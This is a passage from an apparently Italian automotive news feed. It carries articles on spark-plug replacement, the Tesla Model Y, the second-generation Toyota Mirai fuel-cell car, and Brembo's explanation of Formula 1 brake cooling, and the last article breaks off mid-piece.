<p class="wp-block-paragraph">Nei tradizionali motori a scoppio le candele di accensione fanno scaturire la scintilla che provoca la combustione del carburante all’interno del cilindro. Le candele di accensione vengono avvitate sulla testa del cilindro dell’auto con la parte inferiore, dove si trovano due elettrodi, che si affaccia direttamente nella camera di combustione. Tra i due elettrodi viene fatta scaturire la scintilla, la quale, al termine della fase di compressione, incendia la miscela aria-combustibile che arriva al cilindro grazie alle valvole di aspirazione.</p>



<p class="wp-block-paragraph">Come tutti quei componenti di un veicolo usati regolarmente, anche le candele a causa di accumuli di detriti e di usura sono soggette a malfunzionamento, rendendo difficoltoso lo scocco della scintilla. Per far fronte a questo problema, è consigliabile far controllare in un’officina questi dispositivi dopo aver superato la soglia dei 10.000 km di percorrenza, affinché il meccanico possa occuparsi della loro manutenzione e, se necessario, della loro sostituzione. Un cambio delle candele è comunque raccomandabile dopo i 15.000 km per i modelli d’auto più vecchi e i 40.000 km per quelli più recenti.</p>



<p class="wp-block-paragraph">Seppur vendute separatemene, è buona norma sostituire le candele tutte insieme. Inoltre, si sconsiglia di far installare sulla propria autovettura accessori già usati e di marche diverse.</p>



<p class="wp-block-paragraph">La candela di accensione Bosch Super 4 ha un filetto esterno di 14 mm, una lunghezza filettatura di 19 mm, un andamento scintilla di 4 mm, una distanza interelettrodica di 1 mm, un’apertura chiave di 1 mm, un passo filettatura di 1,25 mm, una coppia spunto/serraggio di 28 mm, 4 poli ed un angolo di regolazione pari a 90 gradi. <a href="https://www.pezzidiricambio24.it/1148127-bosch" target="_blank" rel="noopener"><u>La candela Bosch Super 4 è adatta a molti veicoli</u></a>, quali ad esempio: Audi, Austin, Daewo, Daimler, Fiat, Lexus, Seat e molti altri.</p>



<p class="wp-block-paragraph">Il controllo e la sostituzione delle candele sono operazioni non particolarmente difficili, che possono essere tranquillamente fatte anche nel garage di casa. Occorre avere un’apposita chiave per candele o in sostituzione una chiave dinamometrica dotata di una presa per candele, un giravite ed un panno. L’operazione si deve eseguire a motore freddo ed indossando dei guanti per proteggere le mani dal contatto con i liquidi del motore. Con l’attrezzatura accanto procedere come segue.</p>



<ul class="wp-block-list"><li>Sollevare il cofano e localizzare le candele di accensione. Nel caso che le candele siano protette da un tappo o da un coperchio, procedere con loro rimozione. Allontanare poi il cappuccio delle candele, stando attenti a non scordare il cilindro di appartenenza.<br></li><li>Con l’ausilio di una chiave a tubo o a rocchetto o di una chiave per candele, allentare le candele, per poi svitarle e rimuoverle a mano, eliminando l’eventuale polvere con un panno.<br></li><li>Avvitare le candele nei rispettivi fori. Prima di fare ciò è consigliabile lubrificarne la superficie. Dopo aver inserito la candela nel suo alloggiamento, essa va ruotata in direzione opposta a quella del serraggio sino a quando le due filettature non saranno allineate.<br></li><li>Rimontare i tappi e i coperchi, come ultimo passo.<br></li></ul>



<p class="wp-block-paragraph">Nel corso della sostituzione delle candele, è consigliabile verificare lo stato dei cavi e controllare lo stato d’usura degli altri componenti del motore, pulendo via con un panno polvere ed altre impurità.</p>
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		<title>Tesla: In arrivo la SUV Premium Model Y</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 07 Aug 2021 07:37:22 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Elon Musk è stato il pioniere della mobilità elettrica. La Tesla Model Y è la risposta all’attacco che da tutte le parti sta arrivando produttore di Palo Alto dai colossi dell’auto. Suv versatile e prestazionale Quindi è giunto il momento di portare la folosofia Tesla in uno dei segmento più combattuti e diffusi del mercato [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Elon Musk è stato il pioniere della mobilità elettrica. La Tesla Model Y è la risposta all’attacco che da tutte le parti sta arrivando produttore di Palo Alto dai colossi dell’auto.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/08/Tesla-Model_Y-2021-1024-02-730x548.jpg" alt="Tesla Model Y 2021 1024 02" class="wp-image-108624" title="Tesla: In arrivo la SUV Premium Model Y 282"><figcaption>Tesla: In arrivo la SUV Premium Model Y 285</figcaption></figure>



<h2 class="wp-block-heading" id="h-suv-versatile-e-prestazionale">Suv versatile e prestazionale </h2>



<p class="wp-block-paragraph">Quindi è giunto il momento di portare la folosofia Tesla in uno dei segmento più combattuti e diffusi del mercato quello delle SUV di medie dimensioni premium senza dimenticare aspetti fondamentali come sicurezza e versatilità. Per i clienti che hanno già versato la caparra, le consegne della versione intermedia Long Range con Dual-Motor All-Wheel Drive, inizieranno le consegne per fine Agosto. In seguito arriveranno anche le interessanti varianti Performance. </p>



<p class="wp-block-paragraph"> Il suo design è concepito per sfruttare al meglio l’aerodinamica della vettura. Stile pulito, elegante, utile per migliore autonomia.   La piattaforma tecnica è dedicata, concepita per essere un veicolo elettrico fin dalla progettazione iniziale. La Tesla Model Y, quindi, garantisce valori di spazio per ospitare fino sette adulti e bagagli fino a 1.9 metri cubi.  </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/08/Tesla-Model_Y-2021-1024-03-730x548.jpg" alt="Tesla Model Y 2021 1024 03" class="wp-image-108625" title="Tesla: In arrivo la SUV Premium Model Y 283"><figcaption>Tesla: In arrivo la SUV Premium Model Y 286</figcaption></figure>



<p class="wp-block-paragraph">Le prestazioni segneranno un netto miglioramento grazie all’utilizzo degli ultimi ritrovati in termini di propulsione elettrica, gestione elettronica e sfruttamento della nuova batteria. I progettisti americani hanno lavorato per sfruttare al meglio un modo sempre più efficiente ogni kW immagazzinato. </p>



<h2 class="wp-block-heading" id="h-powertrain-potente-con-trazione-integrale">Powertrain potente con trazione integrale </h2>



<p class="wp-block-paragraph">Le nuove macchine elettriche sono più efficienti ed ultra-reattivi forniscono potenza da 351cv, per garantire un’accelerazione sullo 0 a 100 km/h in soli 3,5 secondi e una velocità massima fino a 217km/h e la trazione integrale, con il motore anteriore che eroga 200cv e quello posteriore principale da 275cv. In sostanza c’è abbastanza potenza da garantire un&#8217;eccellente manovrabilità per qualsiasi condizione stradale e 525km di autonomia con batteria Long Range.</p>



<p class="wp-block-paragraph">La posizione della batteria consente di abbassare il baricentro e centrare le masse in modo ideale tra i due assi. Il telaio e la carrozzeria sfruttano la struttura stessa che ingloba la batteria per irrigidire la scocca e migliorare la dinamica. La sicurezza passiva sfrutta la deformazione di strutture programmate per offrire la massima protezione in caso di incidente. </p>



<h2 class="wp-block-heading" id="h-funzionale-e-sempre-piu-connessa"> Funzionale e sempre più connessa  </h2>



<p class="wp-block-paragraph">La dotazione interna di livello premium, con materiali di alta qualità. Di serie il tetto panoramico in vetro e i sedili profilati per creare una sensazione di spaziosità offrendo un&#8217;ampia visuale da ogni sedile del veicolo.  L’interfaccia con schermo touchscreen da 15 pollici all&#8217;interno sostituisce tutti i controlli fisici dell&#8217;auto.  Anche per salire a bordo non sono necessarie le chiavi, nemmeno il telecomando Key-less,  basta connettere il proprio smatphone per avere accesso la veicolo e le sue funzioni di bordo.  </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/08/2021-tesla-model-y-interior-730x411.jpg" alt="2021 tesla model y interior" class="wp-image-108627" title="Tesla: In arrivo la SUV Premium Model Y 284"><figcaption>Tesla: In arrivo la SUV Premium Model Y 287</figcaption></figure>



<p class="wp-block-paragraph">La app Tesla Mobile consente di regolare il pre-condizionamento, rilevare la posizione della vettura, monitorare le condizioni di traffico gestendo lo stato della batteria e la possibilità ricarica, adeguando il viaggio in funzione delle colonnine presenti sul percorso. &nbsp;&nbsp;La Model Y sfrutta, per la ricarica, le colonnine Supercharger sia esistenti che di nuovo tipo V3 con la possibilità di ricaricare 500km in soli 20 minuti.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Toyota: Mirai la berlina fuel cell di seconda generazione</title>
		<link>https://www.giornalemotori.com/2021/05/27/toyota-mirai-la-berlina-fuel-cell-di-seconda-generazione/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=toyota-mirai-la-berlina-fuel-cell-di-seconda-generazione</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 27 May 2021 16:46:11 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Quando il presidentissimo di Toyota, Akio Toyoda, ha dichiarato che l’automobile elettrica sarebbe stato un errore, probabilmente è stato travisato. O meglio, avviso di chi scrive, è che l’auto elettrica che si fornisce attraverso la rete elettrica esterna possa essere sopravvalutata. Di fatto, invece, i fatti dimostrano di come il colosso giapponese sia fortemente impegnato [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Quando il presidentissimo di Toyota, Akio Toyoda, ha dichiarato che l’automobile elettrica sarebbe stato un errore, probabilmente è stato travisato.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-3a.jpg" alt="Toyota Mirai 2022 1024 3a" class="wp-image-106783" title="Toyota: Mirai la berlina fuel cell di seconda generazione 288" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-3a.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-3a-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-3a-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-3a-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-3a-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 298</figcaption></figure>



<p class="wp-block-paragraph">O meglio, avviso di chi scrive, è che l’auto elettrica che si fornisce attraverso la rete elettrica esterna possa essere sopravvalutata. Di fatto, invece, i fatti dimostrano di come il colosso giapponese sia fortemente impegnato nella trazione elettrica, ma quella che si sostiene da sola senza fare ricorso come fonte primaria alla ricarica esterna.</p>



<p class="wp-block-paragraph">La tecnologia Fuel Cell, infatti, sfrutta una cella di combustibile per creare energia per alimentare la batteria che a sua volta fornisce potenza alla trazione elettrica. Come combustibile si utilizza l’idrogeno, la materia prima più diffusa del creato. Purtroppo, &nbsp;anche se diffusissimo, l’idrogeno va stoccato, trasportato e reso fruibile con tempi di rifornimento accettabili.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-4a.jpg" alt="Toyota Mirai 2022 1024 4a" class="wp-image-106784" title="Toyota: Mirai la berlina fuel cell di seconda generazione 289" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-4a.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-4a-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-4a-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-4a-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-4a-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 299</figcaption></figure>



<p class="wp-block-paragraph">Al momento, per produrre idrogeno adatto ad alimentare una fuel cell, si spende più energia tradizionale di quanto se ne risparmia in termini di inquinamento. Un delta che può essere compensato se a cascata che gli impianti industriali venissero convertiti. Spetta quindi ai legislatori adottare misure che spingano verso lo sviluppo di questa tecnologia.</p>



<p class="wp-block-paragraph">Intanto, così come accadde quando fu introdotta per la prima volta la tecnologia ibrida endotermico/elettrico anche in questo caso Toyota è stata una delle prime a sviluppare tale tecnologia dal lontano 1992 fino alla nascita della priva generazione della Mirai nel 2014.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-68.jpg" alt="Toyota Mirai 2022 1024 68" class="wp-image-106785" title="Toyota: Mirai la berlina fuel cell di seconda generazione 290" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-68.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-68-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-68-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-68-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-68-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 300</figcaption></figure>



<p class="wp-block-paragraph">La prima berlina fuel cell ad idrogeno giunge alla seconda generazione abbandonando concetti di funzionalità per adottare uno stile più emotivo e dinamico con prestazioni di guida più gratificanti. Il sistema di celle a combustibile è stato completamente riprogettato portando l&#8217;autonomia a 650 km rilasciando solo vapore acqueo.</p>



<p class="wp-block-paragraph">La Mirai di seconda generazione conserva solo il nome della prima serie. La piattaforma tecnica è la GA-L, con la cella combustibile spostata nella zona anteriore sfruttando il vecchio vano adibito alla presenza del motore endotermico. L&#8217;altezza è stata ridotta per una linea più sportiva con passo da 2.920 mm ed una lunghezza complessiva di 4.975 mm. L’impronta a terra migliora grazie all’aumento di 75 mm della carreggiata e l’utilizzo di ruote da 19 e 20 pollici con pneumatici sportivi 235/55 R19 e 245/45 R20. Il risultato è stilisticamente più dinamico, ma anche tecnicamente efficace con il baricentro più basso.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-89.jpg" alt="Toyota Mirai 2022 1024 89" class="wp-image-106786" title="Toyota: Mirai la berlina fuel cell di seconda generazione 291" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-89.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-89-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-89-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-89-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-89-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 301</figcaption></figure>



<p class="wp-block-paragraph">I serbatoi hanno una struttura multistrato più robusta e sono disposti a &#8220;T&#8221;. Il più lungo è in posizione longitudinale centrale sotto il pavimento, mentre i due serbatoi più piccoli sono posti lateralmente sotto i sedili posteriori per una capacità totale di 5,6 kg di idrogeno. La dimensione dell’involucro è stata ridotta grazie a nuove saldature che riducono lo spazio tra la cella a combustibile e il rivestimento esterno. </p>



<p class="wp-block-paragraph">La batteria ad alta tensione ed il motore elettrico sono posizionati sopra l&#8217;asse posteriore con un bilanciamento dei pesi 50:50. Questa è formata da elementi in nichel-metallo idruro ed è costituita da 84 celle con una tensione di 310,8V ed una capacità di 4,0 Ah dal peso di 46,9 con potenza che varia da 25,5 kW a 31,5 kW x 10 secondi. Il sistema di raffreddamento è stato ottimizzato sfruttando prese d&#8217;aria ricavate su entrambi i lati dei sedili posteriori.</p>



<p class="wp-block-paragraph">l nuovo blocco delle celle di combustibile e il convertitore di alimentazione sono stati adattati alla nuova piattaforma tecnica utilizzando un polimero solido passando a 330 invece di 370. Il record di potenza specifica è pari a 5,4 kW / l con potenza massima da 114 kW a 128 kW. Le prestazioni a basse temperature sono state migliorate consentendo l’avvio anche a temperature fino a -30. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-75.jpg" alt="Toyota Mirai 2022 1024 75" class="wp-image-106787" title="Toyota: Mirai la berlina fuel cell di seconda generazione 292" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-75.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-75-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-75-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-75-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-75-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 302</figcaption></figure>



<p class="wp-block-paragraph">I progettisti giapponesi hanno lavorato su ogni componente come pompe dell&#8217;acqua, l&#8217;intercooler, l&#8217;aria condizionata e i compressori d&#8217;aria e la pompa di ricircolo dell&#8217;idrogeno per renderla più piccola e leggera del 50%, migliorando allo stesso tempo le prestazioni del 12%.</p>



<p class="wp-block-paragraph">Il riposizionamento del collettore e l&#8217;ottimizzazione della forma del separatore del canale del gas ha reso più efficiente il sistema. Sono stati anche adottati materiali innovativi per gli elettrodi mentre il convertitore CC-CC è stato ridotto del 21% con il peso portato a 2,9 kg. &nbsp;Per la prima volta in assoluto viene utilizzato un materiale semiconduttore in carburo di silicio di nuova generazione nei transistor IPM (intelligent power model) per un minore consumo energetico grazie al minor numero di transistor.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-cc.jpg" alt="Toyota Mirai 2022 1024 cc" class="wp-image-106788" title="Toyota: Mirai la berlina fuel cell di seconda generazione 293" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-cc.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-cc-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-cc-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-cc-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-cc-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 303</figcaption></figure>



<p class="wp-block-paragraph">La nuova presa d&#8217;aria limita la perdita di pressione contenendo materiale fonoassorbente per ridurre il rumore. Lo scarico utilizza un tubo in resina per evacuare una grande quantità di aria e acqua riducendo le dimensioni ed il peso del 30%.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-d1.jpg" alt="Toyota Mirai 2022 1024 d1" class="wp-image-106789" title="Toyota: Mirai la berlina fuel cell di seconda generazione 294" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-d1.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-d1-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-d1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-d1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-d1-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 304</figcaption></figure>



<p class="wp-block-paragraph">L&#8217;adozione della piattaforma GA-L consente di ricavare una maggiore rigidità della scocca migliorando le prestazioni dinamiche della Mirai. Nuovi rinforzi per il telaio e l’utilizzo di saldatura laser hanno permesso di irrigidire la il telaio contenendo il peso complessivo. </p>



<p class="wp-block-paragraph">Le sospensioni hanno uno schema MacPherson all’anteriore e posteriori multilink con barre antirollio più spesse e riposizionamento ottimale dei giunti sferici superiore e inferiore per una rigidità delle sospensioni più elevata. Questo consente di ottenere maggiore reattività e stabilità. La nuova Toyota Mirai promette di essere efficace sia nella guida autostradale che su strade tortuose migliorando l’accelerazione in uscita dalle curve.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-c3.jpg" alt="Toyota Mirai 2022 1024 c3" class="wp-image-106790" title="Toyota: Mirai la berlina fuel cell di seconda generazione 295" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-c3.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-c3-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-c3-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-c3-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-c3-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 305</figcaption></figure>



<p class="wp-block-paragraph">L’obiettivo della Mirai e di ripulire l’aria che alimenta il sistema con emissioni zero assolutamente pulite allo scarico. Un filtro catalizzatore incorporato nella presa d&#8217;aria viene attraversato da una carica elettrica statica catturando le particelle microscopiche di inquinanti. Elementi come l’anidride solforosa, protossido di azoto e particolato PM 2,5 vengono rimossi dal 90 al 100%. emettendo inquinamento pari a zero. </p>



<p class="wp-block-paragraph">Toyota non nasconde le sue ambizioni volendo portare a 10 volte il volume delle vendite della versione attuale. Un successo che si può ottenere grazie al riposizionamento in una fascia di mercato più in linea con l’immagine tecnologica di Mirai II con un prezzo più economico del 20%. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/Toyota-Mirai-2022-1024-ca.jpg" alt="Toyota Mirai 2022 1024 ca" class="wp-image-106791" title="Toyota: Mirai la berlina fuel cell di seconda generazione 296" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-ca.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-ca-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-ca-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-ca-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/05/Toyota-Mirai-2022-1024-ca-265x198.jpg 265w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 306</figcaption></figure>



<p class="wp-block-paragraph">La diffusione delle vetture con tecnologia FCEV aumenterà costantemente con il miglioramento delle infrastrutture per lo stoccaggio, il trasporto e la distribuzione dell’idrogeno. Il numero di stazioni di servizio aumenta con un sempre maggiore interessamento da parte di governi e autorità locali che non potranno fare altro che introdurre nuovi incentivi e regole per consentire l’utilizzo e la diffusione di una mobilità più pulita.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="wp-block-paragraph"><strong>In collaborazione con </strong><a href="https://www.facebook.com/ToyotaTMotor/" data-type="URL" data-id="https://www.facebook.com/ToyotaTMotor/" target="_blank" rel="noopener"> <strong>Toyota T Motor San Lazzaro di Savena (BO) @ToyotaTMotor&nbsp;&nbsp;</strong></a></p>



<figure class="wp-block-image size-large"><img decoding="async" width="468" height="469" src="https://www.giornalemotori.com/wp-content/uploads//2021/05/140289666_2862769870675481_6180285191412361253_n.jpg" alt="140289666 2862769870675481 6180285191412361253 n" class="wp-image-106794" title="Toyota: Mirai la berlina fuel cell di seconda generazione 297" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/05/140289666_2862769870675481_6180285191412361253_n.jpg 468w, https://www.giornalemotori.com/wp-content/uploads/2021/05/140289666_2862769870675481_6180285191412361253_n-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2021/05/140289666_2862769870675481_6180285191412361253_n-300x301.jpg 300w" sizes="(max-width: 468px) 100vw, 468px" /><figcaption>Toyota: Mirai la berlina fuel cell di seconda generazione 307</figcaption></figure>
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		<title>BREMBO SPIEGA I MOTIVI PER CUI LA VENTILAZIONE DEI FRENI DI FORMULA 1 È UN ASPETTO COSÌ DELICATO E CRUCIALE PER I TEAM</title>
		<link>https://www.giornalemotori.com/2021/04/20/brembo-spiega-i-motivi-per-cui-la-ventilazione-dei-freni-di-formula-1-e-un-aspetto-cosi-delicato-e-cruciale-per-i-team/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=brembo-spiega-i-motivi-per-cui-la-ventilazione-dei-freni-di-formula-1-e-un-aspetto-cosi-delicato-e-cruciale-per-i-team</link>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Tue, 20 Apr 2021 00:05:00 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Ogni monoposto di Formula 1 è il risultato di migliaia di ore di studio, di innumerevoli calcoli al computer, simulazioni e test, nonché di diverse sessioni in galleria del vento, necessarie per ottimizzare sino al più piccolo componente. In questo senso i sistemi frenanti non fanno eccezione e Brembo sottopone a durissimi e sofisticatissimi test [&#8230;]</p>
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<p class="wp-block-paragraph">Ogni monoposto di Formula 1 è il risultato di migliaia di ore di studio, di innumerevoli calcoli al computer, simulazioni e test, nonché di diverse sessioni in galleria del vento, necessarie per ottimizzare sino al più piccolo componente. In questo senso i sistemi frenanti non fanno eccezione e Brembo sottopone a durissimi e sofisticatissimi test e simulazioni tutti i componenti dei sistemi frenanti forniti alle scuderie di Formula 1.&nbsp;</p>



<p class="wp-block-paragraph">Nonostante tutti i calcoli e i test statici e dinamici, <strong>la storia delle corse è però ricca di eventi inaspettati che hanno generato un problema non previsto, compromettendo la buona riuscita di un Gran Premio</strong>. Nella maggior parte dei casi la causa scatenante è stata di ragione esterna e indipendente dal team, come per esempio un componente che si stacca da un’altra monoposto. A volte invece i guasti sono stati generati da fattori non legati alle altre auto in pista: è il caso dell’ un’invasione di un’animale o anche di un oggetto proveniente dalle tribune. Ne sa qualcosa l’Alpine Renault che ha fermato Fernando Alonso dopo soli 33 giri del GP Bahrain 2021 per evitare guai peggiori alla sua A521. ​</p>



<p class="wp-block-paragraph">​Tutta colpa della carta di un panino che si è incastrata nelle prese d’aria dei freni posteriori della vettura, generando un surriscaldamento che ha finito con il minare il funzionamento dell’impianto frenante. Che qualcosa non andasse per il verso giusto se ne sono accorti gli ingegneri ai box, attraverso la telemetria e hanno optato per il ritiro in quanto continuare avrebbe rappresentato un azzardo per l’incolumità del pilota e anche dei suoi colleghi.&nbsp;</p>



<p class="wp-block-paragraph">La storia della Formula 1 e lo stesso Alonso non sono nuovi a episodi del genere: nel 2015 durante il GP di Spagna con la McLaren, proprio Alonso fu costretto ad abbandonare la gara al 25° giro, dopo momenti di paura &#8211; “i freni posteriori non sembravano funzionare più &#8211; aveva comunicato il pilota al box. Il malfunzionamento era stato provocato da una visiera a strappo che si è era infilata nella presa d’aria: il piccolo pezzettino di plastica trasparente era stato ritrovato nel fondo della vettura. E due anni fa per lo stesso motivo Carlos Sainz dovette fare una sosta supplementare durante il GP del Canada, a causa, nuovamente, di una visiera finita nel brake duct facendo aumentare le temperature oltre il range di esercizio. ​</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.brembo.com/it/PublishingImages/company/news/ventilazione-freni-monoposto-formula1/PIO_7076_ritocco_low_web02.png" alt="PIO 7076 ritocco low web02" title="BREMBO SPIEGA I MOTIVI PER CUI LA VENTILAZIONE DEI FRENI DI FORMULA 1 È UN ASPETTO COSÌ DELICATO E CRUCIALE PER I TEAM 308"></figure>



<p class="wp-block-paragraph"><strong>Grazie a molteplici sensori posizionati in svariati punti della monoposto</strong>&nbsp;vengono rilevati centinaia di parametri fisici i cui valori sono trasmessi al box in tempo reale. Naturalmente i dati sono criptati in modo che ciascun team disponga solo dei propri e non anche di quelli della concorrenza.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Servendosi dei sensori, i team conoscono in ogni istante la temperatura di dischi e pinze. </strong>Sulla base di questi dati, partono eventuali segnalazioni al pilota per la modifica del brake balance della monoposto o della gestione dell’impianto: questa comunicazione avviene quando si registrano anomalie rispetto alle previsioni. ​</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.brembo.com/it/PublishingImages/company/news/ventilazione-freni-monoposto-formula1/PIO_7083_low_news.png" alt="PIO 7083 low news" title="BREMBO SPIEGA I MOTIVI PER CUI LA VENTILAZIONE DEI FRENI DI FORMULA 1 È UN ASPETTO COSÌ DELICATO E CRUCIALE PER I TEAM 309"></figure>



<h3 class="wp-block-heading"><strong>L’importanza delle prese d’aria dei freni​</strong></h3>



<p class="wp-block-paragraph"><strong>Ma come funzionano le prese d’aria dei freni e cosa succede in caso di ostruzione accidentale?&nbsp;</strong></p>



